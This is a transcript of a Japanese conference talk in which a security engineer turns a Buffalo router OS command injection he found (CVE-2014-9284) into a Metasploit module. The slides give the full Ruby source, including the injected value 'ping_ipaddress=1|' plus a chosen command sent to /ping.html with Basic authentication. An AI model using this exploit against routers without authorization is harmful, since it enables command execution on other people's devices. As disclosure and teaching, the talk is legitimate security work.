metsploitのシグネチャを作ってみた。(cve-2014-9284)
TRANSCRIPT
Metsploitのシグネチャを作ってみた。
OSコマンドインジェクション( CVE-2014-9284)
自己紹介Satoshi Ogawa( 小河哲之 )Twitter: abend
アルコール摂取に余念がないセキュリティエンジニア
NO DRINK, NO HACK!
この前、脆弱性を発見したんです
どうやって見つけたのか
自宅にある Buffaloの無線ルータにWebアプリケーション診断を実施したら、 OSコマンドインジェクションを見つけました。大分前に。
詳細は別の資料でご紹介します。
OSコマンドインジェクションって
こんな感じの脆弱性です。
なんとなく
暇だったから、発見した脆弱性をMetasploitに実装してみると思い立った。
Metasploit
Metasploitはフリーツールでペネトレーションテストツールです。http://www.metasploit.com/
組み込んでみる
rubyでMetasploitのシグネチャは書かれており、さまざまな脆弱性のシグネチャが存在するので、それを参考に組み込むことに。
作ってみたrequire 'msf/core'class Metasploit3 < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report def initialize super( 'Name' => 'Buffalo Wireless Router OS Command Injection', 'Version' => '$Revision:$', 'Description' => 'Buffalo Wireless Router OS Command Injection.BHR-4GRV2 Ver.1.04 > ,WEX-300 Ver.1.60 > ,WHR-1166DHP Ver.1.60 > ,WHR-300HP2 Ver.1.60 > ,WHR-600D Ver.1.60 > ,WMR-300 Ver.1.60 > ,WSR-600DHP Ver.1.60 >.', ‘Author’ => [‘Satoshi Ogawa’],‘License’ => MSF_LICENSE,‘References’ =>[ [ 'CVE', '2014-9284'],[ 'URL', 'https://jvn.jp/jp/JVN50447904/' ], ] ) register_options( [ Opt::RHOST('',[true,'router ip','']), OptString.new('USERNAME', [ true, 'basic authentication username', 'admin']), OptString.new('PASSWORD', [ true, 'basic authentication password', '']), OptString.new('CMD', [ true, 'Command', 'sleep 10']), OptString.new('RES_FLG', [ true, 'yes:Display Response no:No Display', 'no']), ], self.class) end def run begin rhost = datastore['RHOST'] user = datastore['USERNAME'] pass = datastore['PASSWORD'] cmd = datastore['CMD'] res_flg = datastore['RES_FLG'] user_pass = Rex::Text.encode_base64(user + ":" + pass) decode = Rex::Text.decode_base64(user_pass) postrequest = "ping_ipaddress=1|#{cmd}" starttime = Time.now res = send_request_cgi({ 'uri' => "/ping.html", 'version' => "1.1", 'method' => 'POST', 'data' => postrequest,'headers' => { 'Authorization' => "Basic #{user_pass}", 'Proxy-Connection' => "Keep-Alive",} }) endtime = Time.now interval = endtime - starttime print_status("ResponseTime: #{interval} sec")
if res_flg == "yes" then print_status("#{res}") end
end rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout rescue ::Timeout::Error, ::Errno::EPIPE =>e puts e.message endend
動かしてみる
オプションはこんな感じになった。
動かしてみる
オプションの CMDで Injectする OSコマンドを指定する。 Defaultでは「 sleep 10」としており、レスポンスタイムを出力している。
結果を見てみた
「 sleep 10」でレスポンスタイムが 10秒程度となっており、コマンドが評価されていることがわかる。
試してみた
該当製品は basic認証を使用しており、ユーザ名は固定 (admin)であるため、 passwordと rhost指定すれば実行可能。
試してみた
CMDの内容を変更し、 time baseなチェック項目以外を実施する場合は、レスポンス内容の確認が必要となる。その場合は、 RES_FLGを yesにすることでレスポンスが標準出力される。
だが、しかし
CVE-2014-9284の場合、実行可能なコマンドが制限されているため、レスポンスの標準出力はあまり必要ない(たぶん)。そんな訳で shellが取れるわけではない。
※詳細は別の資料にて。
まとめ
脆弱性の内容だけではなく、 Rubyも勉強が必要だなって思った。ドキュメントはしっかりしてそうなので、頑張るだけ。
http://www.rubydoc.info/github/rapid7/metasploit-framework/index